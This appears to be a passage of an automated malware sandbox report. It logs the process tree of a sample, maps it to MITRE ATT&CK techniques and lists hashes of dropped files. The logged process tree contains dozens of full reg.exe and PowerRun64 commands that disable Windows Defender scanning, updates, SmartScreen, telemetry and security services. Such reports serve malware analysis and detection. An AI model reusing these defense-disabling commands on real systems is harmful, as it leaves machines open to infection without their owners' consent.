  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
  2⤵
  PID:2704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2768
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2676
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
  2⤵
  PID:2812
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
  2⤵
  PID:2804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
  2⤵
  PID:2684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
  2⤵
  PID:2728
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
  2⤵
  PID:2288
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
  2⤵
  PID:2808
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:2668
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
  2⤵
  PID:1980
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
  2⤵
  PID:2640
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
  2⤵
  PID:2492
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
  2⤵
  PID:2868
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
  2⤵
  PID:3064
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:612
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
  2⤵
  PID:2724
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
  2⤵
  PID:2716
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
  2⤵
  PID:2664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
  2⤵
  PID:1696
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
  2⤵
  PID:2552
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
  2⤵
  PID:2548
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
  2⤵
  PID:2568
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
  2⤵
  PID:2584
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
  2⤵
  PID:2616
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:2628
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:1120
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
  2⤵
  PID:2992
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:668
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:564
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        
        PID:772
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2864
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2244
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1940
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2188
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:936
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:440
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1340
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:1700
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1128
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:904
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:872
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:112
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1932
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2896
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2712
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:3000
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:3056
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:1912
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2548
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1452
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        
        PID:2856
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2956
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2980
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2424
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2080
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2340
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1736
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2232
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2236
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1648
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2432
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:1968
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1844
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:340
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:1584
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:1236
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2272
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1780
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2752
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2720
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2560
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:2664
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:2540
- C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2588
- - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
    "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2716
  - - C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe
      "C:\Users\Admin\AppData\Local\Temp\$_13_\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
      4⤵
      Modifies data under HKEY_USERS
      PID:532
    - - C:\Windows\System32\reg.exe
        
        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Get-MpPreference"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2860

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241123161051.log C:\Windows\Logs\CBS\CbsPersist_20241123161051.cab
1⤵
- Drops file in Windows directory
PID:544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\autAC17.tmp

Filesize
25KB

MD5
436c1bb98deeccecb73fad945f1dd3dc

SHA1
774313ba911945589971bbc73498d81f060dabe6

SHA256
05eae1691149cc66e458d5e5b4430bd3b938b278b8bdb2c887a13c9871004c51

SHA512
66ea41b9b4a42f7c40d1ce5b6e82a6f03e8489648b912d96a81efa13d340d4d651078df7c1302c595ca83408e7208d1d79f02165dc27383952a9abe7f851c3e2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
633facc1d1512cfd8aac0e8a2597455f

SHA1
9253ddffb28cfd8615846143d02acdbfc9b36d9d

SHA256
93f2753e26b73fed8b5e5f5656de543aa9329fa3c3bee0e99a3861d779927198

SHA512
f76d8a19cea448db2f67f04d1bfd16fa224ef0ac13d629179144fd4a2fddbf016c8765a7f79f36d599dc800d565af7f6d281ff4008bdb74ff9a93b02a4bc9638

Download Submit
C:\Windows\Temp\ikprbzt

Filesize
81KB

MD5
940b1915cadee0e2b33d80799816f6c7

SHA1
2c10e4fec3e8c054055d1ed78757117575f273f2

SHA256
81e89e7266cfe5158e44f5578c8be61353e781daebdd47a33597e9ec503d379c

SHA512
